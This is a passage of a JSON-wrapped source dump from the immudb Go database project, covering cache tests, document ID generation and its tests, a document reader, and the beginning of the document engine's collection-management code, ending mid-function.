20\n\tcache.Resize(largerCacheSize)\n\trequire.Equal(t, largerCacheSize, cache.MaxWeight())\n\n\tfor i := 0; i < initialCacheSize; i++ {\n\t\tv, err := cache.Get(i)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, i, v)\n\t}\n\n\tfor i := initialCacheSize; i < largerCacheSize; i++ {\n\t\trkey, _, err := cache.Put(i, i)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, rkey)\n\t}\n\n\t// cache shrinking\n\tcache.Resize(initialCacheSize)\n\trequire.Equal(t, initialCacheSize, cache.MaxWeight())\n\n\tfor i := 0; i < initialCacheSize; i++ {\n\t\t_, err = cache.Get(i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tfor i := initialCacheSize; i < largerCacheSize; i++ {\n\t\t_, err = cache.Get(i)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t}\n}\n\nfunc TestPutWeighted(t *testing.T) {\n\tt.Run(\"should evict entries according to weight\", func(t *testing.T) {\n\t\tcache, err := NewCache(1024 * 1024) // 1MB\n\t\trequire.NoError(t, err)\n\n\t\tweights := make([]int, 0, 1000)\n\n\t\texpectedWeight := 0\n\n\t\tn := 0\n\t\tcurrWeight := 100 + rand.Intn(1024)\n\t\tfor cache.Weight()+currWeight <= cache.MaxWeight() {\n\t\t\tk, v, err := cache.PutWeighted(n, n, currWeight)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Nil(t, k)\n\t\t\trequire.Nil(t, v)\n\n\t\t\texpectedWeight += currWeight\n\t\t\tweights = append(weights, currWeight)\n\t\t\tcurrWeight = 100 + rand.Intn(1024)\n\t\t\tn++\n\t\t}\n\t\trequire.Equal(t, expectedWeight, cache.Weight())\n\t\trequire.Equal(t, n, cache.EntriesCount())\n\n\t\tweight := currWeight + rand.Intn(cache.Weight()-currWeight+1)\n\n\t\texpectedEvictedWeight := 0\n\t\texpectedEntriesCount := 0\n\t\tfor i, w := range weights {\n\t\t\texpectedEvictedWeight += w\n\n\t\t\tif expectedEvictedWeight+cache.Available() >= weight {\n\t\t\t\texpectedEntriesCount = n - i\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t_, _, err = cache.PutWeighted(n+1, n+1, weight)\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, expectedEntriesCount, cache.EntriesCount())\n\t\trequire.Equal(t, expectedWeight-expectedEvictedWeight+weight, cache.Weight())\n\t})\n\n\tt.Run(\"update existing item weight\", func(t *testing.T) {\n\t\tcache, err := NewCache(5)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = cache.PutWeighted(1, 1, 0)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, _, err = cache.PutWeighted(1, 1, 10)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tcache.PutWeighted(1, 1, 2)\n\t\tcache.PutWeighted(2, 2, 3)\n\n\t\trequire.Equal(t, 5, cache.Weight())\n\n\t\tkey, _, err := cache.PutWeighted(2, 2, 1)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, key)\n\t\trequire.Equal(t, 3, cache.Weight())\n\t\trequire.Equal(t, 2, cache.EntriesCount())\n\n\t\tkey, _, err = cache.PutWeighted(2, 2, 4)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, key, 1)\n\n\t\trequire.Equal(t, 4, cache.Weight())\n\t\trequire.Equal(t, 1, cache.EntriesCount())\n\t})\n}\n\nfunc TestOnEvict(t *testing.T) {\n\tcache, err := NewCache(5)\n\trequire.NoError(t, err)\n\n\tvar onEvictCalled int\n\tcache.SetOnEvict(func(_, value interface{}) {\n\t\tonEvictCalled++\n\t})\n\n\tfor i := 0; i < 5; i++ {\n\t\tcache.Put(i, i)\n\t}\n\trequire.Zero(t, onEvictCalled)\n\n\t_, _, err = cache.PutWeighted(6, 6, 3)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, onEvictCalled, 3)\n\n\t_, _, err = cache.PutWeighted(7, 7, 2)\n\trequire.NoError(t, err)\n\trequire.Equal(t, onEvictCalled, 5)\n\n\tcache.Resize(0)\n\trequire.Equal(t, onEvictCalled, 7)\n}\n\nfunc TestCanEvict(t *testing.T) {\n\tcache, err := NewCache(5)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 5; i++ {\n\t\t_, _, err := cache.Put(i, i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"cannot evict any item\", func(t *testing.T) {\n\t\tcache.SetCanEvict(func(_, _ interface{}) bool {\n\t\t\treturn false\n\t\t})\n\n\t\t_, _, err := cache.Put(6, 6)\n\t\trequire.ErrorIs(t, err, ErrCannotEvictItem)\n\t})\n\n\tt.Run(\"cannot evict any item\", func(t *testing.T) {\n\t\tkeyToEvict := rand.Intn(5)\n\t\tcache.SetCanEvict(func(key, _ interface{}) bool {\n\t\t\treturn key == keyToEvict\n\t\t})\n\n\t\tevictedKey, _, err := cache.Put(6, 6)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, evictedKey, keyToEvict)\n\t})\n}\n"
  },
  {
    "path": "embedded/document/document_id.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\n/*\n\tDocumentID is a 16-byte identifier that is automatically generated\n\tby the server upon document insertion if not provided. The 16-byte DocumentID is composed of:\n\n\t\t1) A 4-byte timestamp value, representing the time the document was created,\n\t\tmeasured in seconds since the Unix epoch.\n\t\t2) A 8-byte value, initialized to the previous transaction id.\n\t\t3) A 4-byte incremental counter value, generated using a secure random number generator.\n\n\tThe timestamp portion of the DocumentID allows documents to be sorted by creation time, which\n\tcan be useful for certain types of queries. The tx id portions of the DocumentID ensure that\n\tthe identifier is unique across all documents in a collection, even if multiple documents\n\tare inserted in the same second. The 4-byte value ensures randomness.\n*/\n\n// GeneratedDocIDLength is the length of a DocumentID.\nconst GeneratedDocIDLength = 16\n\nconst MaxDocumentIDLength = 32\n\n// DocumentID is an identifier that is automatically generated by the server upon document insertion if not provided.\ntype DocumentID []byte\n\n// documentIDCounter is a counter used to generate unique monotically incremental number for the document id.\nvar documentIDCounter = getRandUint32()\n\n// NewDocumentIDFromTx generates a new DocumentID.\nfunc NewDocumentIDFromTx(txID uint64) DocumentID {\n\treturn NewDocumentIDFromTimestamp(time.Now(), txID)\n}\n\n// NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp.\nfunc NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID {\n\tvar b [GeneratedDocIDLength]byte\n\n\t// The first 4 bytes are the timestamp.\n\tbinary.BigEndian.PutUint32(b[0:4], uint32(timestamp.Unix()))\n\n\t// The next 8 bytes are the precommitted transaction id.\n\tbinary.BigEndian.PutUint64(b[4:12], txID)\n\n\t// The next 4 bytes are the monotically increasing number.\n\tcounter := atomic.AddUint32(&documentIDCounter, 1)\n\tbinary.BigEndian.PutUint32(b[12:16], counter)\n\n\treturn b[:]\n}\n\n// NewDocumentIDFromRawBytes generates a new DocumentID from a byte slice.\nfunc NewDocumentIDFromRawBytes(b []byte) (DocumentID, error) {\n\tif len(b) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\tif len(b) > MaxDocumentIDLength {\n\t\treturn nil, ErrMaxLengthExceeded\n\t}\n\n\tid := make([]byte, len(b))\n\tcopy(id, b)\n\n\treturn id, nil\n}\n\n// NewDocumentIDFromHexEncodedString returns a DocumentID from a hex string.\nfunc NewDocumentIDFromHexEncodedString(hexEncodedDocID string) (DocumentID, error) {\n\tdecodedLen := hex.DecodedLen(len(hexEncodedDocID))\n\n\tbuf := make([]byte, decodedLen)\n\n\t_, err := hex.Decode(buf, []byte(hexEncodedDocID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn NewDocumentIDFromRawBytes(buf)\n}\n\nfunc getRandUint32() uint32 {\n\tvar b [4]byte\n\n\t_, err := io.ReadFull(rand.Reader, b[:])\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"cannot initialize document id rand reader: %v\", err))\n\t}\n\n\treturn binary.BigEndian.Uint32(b[:])\n}\n\n// EncodeToHexString returns the hex representation of the DocumentID.\nfunc (id DocumentID) EncodeToHexString() string {\n\treturn hex.EncodeToString(id)\n}\n\n// Timestamp returns the timestamp portion of the DocumentID.\nfunc (id DocumentID) Timestamp() time.Time {\n\tunixSecs := binary.BigEndian.Uint32(id[:])\n\treturn time.Unix(int64(unixSecs), 0).UTC()\n}\n"
  },
  {
    "path": "embedded/document/document_id_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDocumentID_WithTimestamp(t *testing.T) {\n\ttests := []struct {\n\t\ttime            string\n\t\texpectedTimeHex string\n\t}{\n\t\t{\n\t\t\t\"1970-01-01T00:00:00.000Z\",\n\t\t\t\"00000000\",\n\t\t},\n\t\t{\n\t\t\t\"2038-01-19T03:14:07.000Z\",\n\t\t\t\"7fffffff\",\n\t\t},\n\t\t{\n\t\t\t\"2038-01-19T03:14:08.000Z\",\n\t\t\t\"80000000\",\n\t\t},\n\t\t{\n\t\t\t\"2106-02-07T06:28:15.000Z\",\n\t\t\t\"ffffffff\",\n\t\t},\n\t}\n\n\tlayout := \"2006-01-02T15:04:05.000Z\"\n\tfor _, test := range tests {\n\t\ttime, err := time.Parse(layout, test.time)\n\t\trequire.NoError(t, err)\n\n\t\tid := NewDocumentIDFromTimestamp(time, 0)\n\t\tfmt.Println(test.time, id.EncodeToHexString())\n\t\ttimeStr := hex.EncodeToString(id[0:4])\n\n\t\trequire.Equal(t, test.expectedTimeHex, timeStr)\n\t}\n}\n\nfunc TestDocumentID_FromDocumentHex(t *testing.T) {\n\ttests := []struct {\n\t\thex      string\n\t\tExpected string\n\t}{\n\t\t{\n\t\t\t\"0000000075b4f29e0000000000000000\",\n\t\t\t\"1970-01-01 00:00:00 +0000 UTC\",\n\t\t},\n\t\t{\n\t\t\t\"7fffffffa7ec50600000000000000000\",\n\t\t\t\"2038-01-19 03:14:07 +0000 UTC\",\n\t\t},\n\t\t{\n\t\t\t\"80000000441e18f90000000000000000\",\n\t\t\t\"2038-01-19 03:14:08 +0000 UTC\",\n\t\t},\n\t\t{\n\t\t\t\"ffffffffb840d6030000000000000000\",\n\t\t\t\"2106-02-07 06:28:15 +0000 UTC\",\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tid, err := NewDocumentIDFromHexEncodedString(test.hex)\n\t\trequire.NoError(t, err)\n\n\t\tgenTime := id.Timestamp()\n\t\trequire.Equal(t, test.Expected, genTime.String())\n\t}\n}\n\nfunc TestDocumentID_IncrementalCounter(t *testing.T) {\n\tid := NewDocumentIDFromTx(0)\n\tcounter := binary.BigEndian.Uint32(id[12:16])\n\tfor i := 0; i < 10; i++ {\n\t\tid = NewDocumentIDFromTx(0)\n\t\tnewCounter := binary.BigEndian.Uint32(id[12:16])\n\t\trequire.Equal(t, atomic.AddUint32(&counter, 1), newCounter)\n\t}\n}\n\nfunc TestDocumentID_FromRawBytes(t *testing.T) {\n\tid := NewDocumentIDFromTx(1)\n\tb := []byte(id.EncodeToHexString())\n\n\t_, err := NewDocumentIDFromRawBytes([]byte{})\n\trequire.ErrorIs(t, ErrIllegalArguments, err)\n\n\t_, err = NewDocumentIDFromRawBytes(b)\n\trequire.NoError(t, err)\n\n\tb = append(b, byte(0))\n\t_, err = NewDocumentIDFromRawBytes(b)\n\trequire.ErrorIs(t, ErrMaxLengthExceeded, err)\n}\n\nfunc BenchmarkHex(b *testing.B) {\n\tid := NewDocumentIDFromTx(0)\n\tfor i := 0; i < b.N; i++ {\n\t\tid.EncodeToHexString()\n\t}\n}\n"
  },
  {
    "path": "embedded/document/document_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"context\"\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"google.golang.org/protobuf/proto\"\n\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype DocumentReader interface {\n\t// Read reads a single message from a reader and returns it as a Struct message.\n\tRead(ctx context.Context) (*protomodel.DocumentAtRevision, error)\n\t// ReadN reads n number of messages from a reader and returns them as a slice of Struct messages.\n\tReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error)\n\tClose() error\n}\n\ntype documentReader struct {\n\trowReader       sql.RowReader\n\tonCloseCallback func(reader DocumentReader)\n}\n\nfunc newDocumentReader(rowReader sql.RowReader, onCloseCallback func(reader DocumentReader)) DocumentReader {\n\treturn &documentReader{\n\t\trowReader:       rowReader,\n\t\tonCloseCallback: onCloseCallback,\n\t}\n}\n\n// ReadN reads n number of messages from a reader and returns them as a slice of Struct messages.\nfunc (r *documentReader) ReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) {\n\tif count < 1 {\n\t\treturn nil, sql.ErrIllegalArguments\n\t}\n\n\trevisions := make([]*protomodel.DocumentAtRevision, 0)\n\n\tvar err error\n\n\tfor l := 0; l < count; l++ {\n\t\tvar row *sql.Row\n\t\trow, err = r.rowReader.Read(ctx)\n\t\tif errors.Is(err, sql.ErrNoMoreRows) {\n\t\t\terr = ErrNoMoreDocuments\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, mayTranslateError(err)\n\t\t}\n\n\t\tdocBytes := row.ValuesByPosition[0].RawValue().([]byte)\n\n\t\tdoc := &structpb.Struct{}\n\t\terr = proto.Unmarshal(docBytes, doc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\trevisions = append(revisions, &protomodel.DocumentAtRevision{\n\t\t\tTransactionId: 0, // TODO: not yet available\n\t\t\tRevision:      0, // TODO: not yet available\n\t\t\tDocument:      doc,\n\t\t})\n\t}\n\n\treturn revisions, err\n}\n\nfunc (r *documentReader) Close() error {\n\tif r.onCloseCallback != nil {\n\t\tdefer r.onCloseCallback(r)\n\t}\n\n\treturn r.rowReader.Close()\n}\n\n// Read reads a single message from a reader and returns it as a Struct message.\nfunc (r *documentReader) Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) {\n\tvar row *sql.Row\n\trow, err := r.rowReader.Read(ctx)\n\tif errors.Is(err, sql.ErrNoMoreRows) {\n\t\terr = ErrNoMoreDocuments\n\t}\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\n\tdocBytes := row.ValuesByPosition[0].RawValue().([]byte)\n\n\tdoc := &structpb.Struct{}\n\terr = proto.Unmarshal(docBytes, doc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trevision := &protomodel.DocumentAtRevision{\n\t\tTransactionId: 0, // TODO: not yet available\n\t\tRevision:      0, // TODO: not yet available\n\t\tDocument:      doc,\n\t}\n\n\treturn revision, err\n}\n"
  },
  {
    "path": "embedded/document/engine.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\n\t\"google.golang.org/protobuf/proto\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nconst (\n\tDefaultDocumentIDField     = \"_id\"\n\tDocumentBLOBField          = \"_doc\"\n\tdocumentFieldPathSeparator = \".\"\n)\n\nvar reservedWords = map[string]struct{}{\n\t\"collection\": {},\n\t\"field\":      {},\n\t\"index\":      {},\n\t\"document\":   {},\n}\n\nvar collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\\-]*$`)\nvar documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\\-]*$`)\nvar fieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\\-.]*$`)\n\ntype Engine struct {\n\tsqlEngine *sql.Engine\n\n\tmaxNestedFields int\n}\n\ntype EncodedDocument struct {\n\tTxID            uint64\n\tRevision        uint64 // revision is only set when txID == 0 and info is fetch from the index\n\tKVMetadata      *store.KVMetadata\n\tEncodedDocument []byte\n}\n\nfunc NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsqlOpts := sql.DefaultOptions().\n\t\tWithPrefix(opts.prefix).\n\t\tWithLazyIndexConstraintValidation(true)\n\n\tengine, err := sql.NewEngine(store, sqlOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Engine{\n\t\tsqlEngine:       engine,\n\t\tmaxNestedFields: opts.maxNestedFields,\n\t}, nil\n}\n\nfunc validateCollectionName(collectionName string) error {\n\t_, isReservedWord := reservedWords[strings.ToLower(collectionName)]\n\tif isReservedWord {\n\t\treturn fmt.Errorf(\"%w: invalid collection name '%s'\", ErrReservedName, collectionName)\n\t}\n\n\tif !collectionNameValidation.MatchString(collectionName) {\n\t\treturn fmt.Errorf(\"%w: invalid collection name '%s'\", ErrIllegalArguments, collectionName)\n\t}\n\n\treturn nil\n}\n\nfunc validateDocumentIdFieldName(documentIdFieldName string) error {\n\t_, isReservedWord := reservedWords[strings.ToLower(documentIdFieldName)]\n\tif isReservedWord {\n\t\treturn fmt.Errorf(\"%w: invalid id field name '%s'\", ErrReservedName, documentIdFieldName)\n\t}\n\n\tif documentIdFieldName == DocumentBLOBField {\n\t\treturn fmt.Errorf(\"%w: invalid id field name '%s'\", ErrReservedName, documentIdFieldName)\n\t}\n\n\tif !documentIDFieldNameValidation.MatchString(documentIdFieldName) {\n\t\treturn fmt.Errorf(\"%w: invalid id field name '%s'\", ErrIllegalArguments, documentIdFieldName)\n\t}\n\n\treturn nil\n}\n\nfunc validateFieldName(fieldName string) error {\n\t_, isReservedWord := reservedWords[strings.ToLower(fieldName)]\n\tif isReservedWord {\n\t\treturn fmt.Errorf(\"%w: invalid field name '%s'\", ErrReservedName, fieldName)\n\t}\n\n\tif fieldName == DocumentBLOBField {\n\t\treturn fmt.Errorf(\"%w: invalid field name '%s'\", ErrReservedName, fieldName)\n\t}\n\n\tif !fieldNameValidation.MatchString(fieldName) {\n\t\treturn fmt.Errorf(\"%w: invalid field name '%s'\", ErrIllegalArguments, fieldName)\n\t}\n\n\treturn nil\n}\n\nfunc (e *Engine) CreateCollection(ctx context.Context, username, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error {\n\terr := validateCollectionName(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif documentIdFieldName == \"\" {\n\t\tdocumentIdFieldName = DefaultDocumentIDField\n\t}\n\n\terr = validateDocumentIdFieldName(documentIdFieldName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// only catalog needs to be up to date\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\tcolumns := make([]*sql.ColSpec, 2+len(fields))\n\n\t// add primary key for document id\n\tcolumns[0] = sql.NewColSpec(documentIdFieldName, sql.BLOBType, MaxDocumentIDLength, false, true)\n\n\t// add columnn for blob, which stores the document as a whole\n\tcolumns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)\n\n\tfor i, field := range fields {\n\t\terr = validateFieldName(field.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif field.Name == documentIdFieldName {\n\t\t\treturn fmt.Errorf(\"%w: id field name '%s' should not be specified\", ErrIllegalArguments, field.Name)\n\t\t}\n\n\t\tsqlType, err := protomodelValueTypeToSQLValueType(field.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcolLen, err := sqlValueTypeDefaultLength(sqlType)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcolumns[i+2] = sql.NewColSpec(field.Name, sqlType, colLen, false, false)\n\t}\n\n\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\tctx,\n\t\tsqlTx,\n\t\t[]sql.SQLStmt{sql.NewCreateTableStmt(\n\t\t\tname,\n\t\t\tfalse,\n\t\t\tcolumns,\n\t\t\t[]string{documentIdFieldName},\n\t\t)},\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\n\tvar indexStmts []sql.SQLStmt\n\n\tfor _, index := range indexes {\n\t\tif len(index.Fields) == 0 {\n\t\t\treturn fmt.Errorf(\"%w: no fields specified\", ErrIllegalArguments)\n\t\t}\n\n\t\tif len(index.Fields) == 1 && index.Fields[0] == documentIdFieldName {\n\t\t\tif !index.IsUnique {\n\t\t\t\treturn fmt.Errorf(\"%w: index on id field must be unique\", ErrIllegalArguments)\n\t\t\t}\n\t\t\t// idField is the primary key and so the index is automatically created\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, field := range index.Fields {\n\t\t\terr := validateFieldName(field)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tindexStmts = append(indexStmts, sql.NewCreateIndexStmt(name, index.Fields, index.IsUnique))\n\t}\n\n\t// add indexes to collection\n\tif len(indexStmts) > 0 {\n\t\t_, _, err = e.sqlEngine.ExecPreparedStmts(\n\t\t\tctx,\n\t\t\tsqlTx,\n\t\t\tindexStmts,\n\t\t\tnil,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn mayTranslateError(err)\n\t\t}\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\nfunc (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) {\n\topts := sql.DefaultTxOptions().\n\t\tWithReadOnly(true).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, collectionName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn collectionFromTable(table), nil\n}\n\nfunc (e *Engine) GetCollections(ctx context.Context) ([]*protomodel.Collection, error) {\n\topts := sql.DefaultTxOptions().\n\t\tWithReadOnly(true).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn nil, mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttables := sqlTx.Catalog().GetTables()\n\n\tcollections := make([]*protomodel.Collection, len(tables))\n\n\tfor i, table := range tables {\n\t\tcollections[i] = collectionFromTable(table)\n\t}\n\n\treturn collections, nil\n}\n\nfunc docIDFieldName(table *sql.Table) string {\n\treturn table.PrimaryIndex().Cols()[0].Name()\n}\n\nfunc getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttable, err := sqlTx.Catalog().GetTableByName(collectionName)\n\tif errors.Is(err, sql.ErrTableDoesNotExist) {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", mayTranslateError(err), collectionName)\n\t}\n\n\treturn table, mayTranslateError(err)\n}\n\nfunc getColumnForField(table *sql.Table, field string) (*sql.Column, error) {\n\terr := validateFieldName(field)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolumn, err := table.GetColumnByName(field)\n\tif errors.Is(err, sql.ErrColumnDoesNotExist) {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", mayTranslateError(err), field)\n\t}\n\n\treturn column, mayTranslateError(err)\n}\n\nfunc collectionFromTable(table *sql.Table) *protomodel.Collection {\n\tdocumentIdFieldName := docIDFieldName(table)\n\n\tindexes := table.GetIndexes()\n\n\tcollection := &protomodel.Collection{\n\t\tName:                table.Name(),\n\t\tDocumentIdFieldName: documentIdFieldName,\n\t\tIndexes:             make([]*protomodel.Index, len(indexes)),\n\t}\n\n\tfor _, col := range table.Cols() {\n\t\tif col.Name() == DocumentBLOBField {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar colType protomodel.FieldType\n\n\t\tif col.Name() == documentIdFieldName {\n\t\t\tcolType = protomodel.FieldType_STRING\n\t\t} else {\n\t\t\tswitch col.Type() {\n\t\t\tcase sql.BooleanType:\n\t\t\t\tcolType = protomodel.FieldType_BOOLEAN\n\t\t\tcase sql.VarcharType:\n\t\t\t\tcolType = protomodel.FieldType_STRING\n\t\t\tcase sql.UUIDType:\n\t\t\t\tcolType = protomodel.FieldType_UUID\n\t\t\tcase sql.IntegerType:\n\t\t\t\tcolType = protomodel.FieldType_INTEGER\n\t\t\tcase sql.Float64Type:\n\t\t\t\tcolType = protomodel.FieldType_DOUBLE\n\t\t\t}\n\t\t}\n\n\t\tcollection.Fields = append(collection.Fields, &protomodel.Field{\n\t\t\tName: col.Name(),\n\t\t\tType: colType,\n\t\t})\n\t}\n\n\tfor i, index := range indexes {\n\t\tfields := make([]string, len(index.Cols()))\n\n\t\tfor i, c := range index.Cols() {\n\t\t\tfields[i] = c.Name()\n\t\t}\n\n\t\tcollection.Indexes[i] = &protomodel.Index{\n\t\t\tFields:   fields,\n\t\t\tIsUnique: index.IsUnique(),\n\t\t}\n\t}\n\n\treturn collection\n}\n\nfunc (e *Engine) UpdateCollection(ctx context.Context, username, collectionName string, documentIdFieldName string) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif documentIdFieldName != \"\" {\n\t\terr := validateDocumentIdFieldName(documentIdFieldName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\topts := sql.DefaultTxOptions().\n\t\tWithUnsafeMVCC(true).\n\t\tWithExtra([]byte(username)).\n\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }).\n\t\tWithSnapshotRenewalPeriod(0).\n\t\tWithExplicitClose(true)\n\n\tsqlTx, err := e.sqlEngine.NewTx(ctx, opts)\n\tif err != nil {\n\t\treturn mayTranslateError(err)\n\t}\n\tdefer sqlTx.Cancel()\n\n\ttable, err := getTableForCollection(sqlTx, collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcurrIDFieldName := docIDFieldName(table)\n\n\tif documentIdFieldName != \"\" && documentIdFieldName != currIDFieldName {\n\t\t_, _, err := e.sqlEngine.ExecPreparedStmts(\n\t\t\tctx,\n\t\t\tsqlTx,\n\t\t\t[]sql.SQLStmt{\n\t\t\t\tsql.NewRenameColumnStmt(\n\t\t\t\t\tcollectionName,\n\t\t\t\t\tcurrIDFieldName,\n\t\t\t\t\tdocumentIdFieldName,\n\t\t\t\t),\n\t\t\t},\n\t\t\tnil,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn mayTranslateError(err)\n\t\t}\n\t}\n\n\terr = sqlTx.Commit(ctx)\n\treturn mayTranslateError(err)\n}\n\n// DeleteCollection deletes a collection.\nfunc (e *Engine) DeleteCollection(ctx context.Context, username, collectionName string) error {\n\terr := validateCollectionName(collectionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\topts := 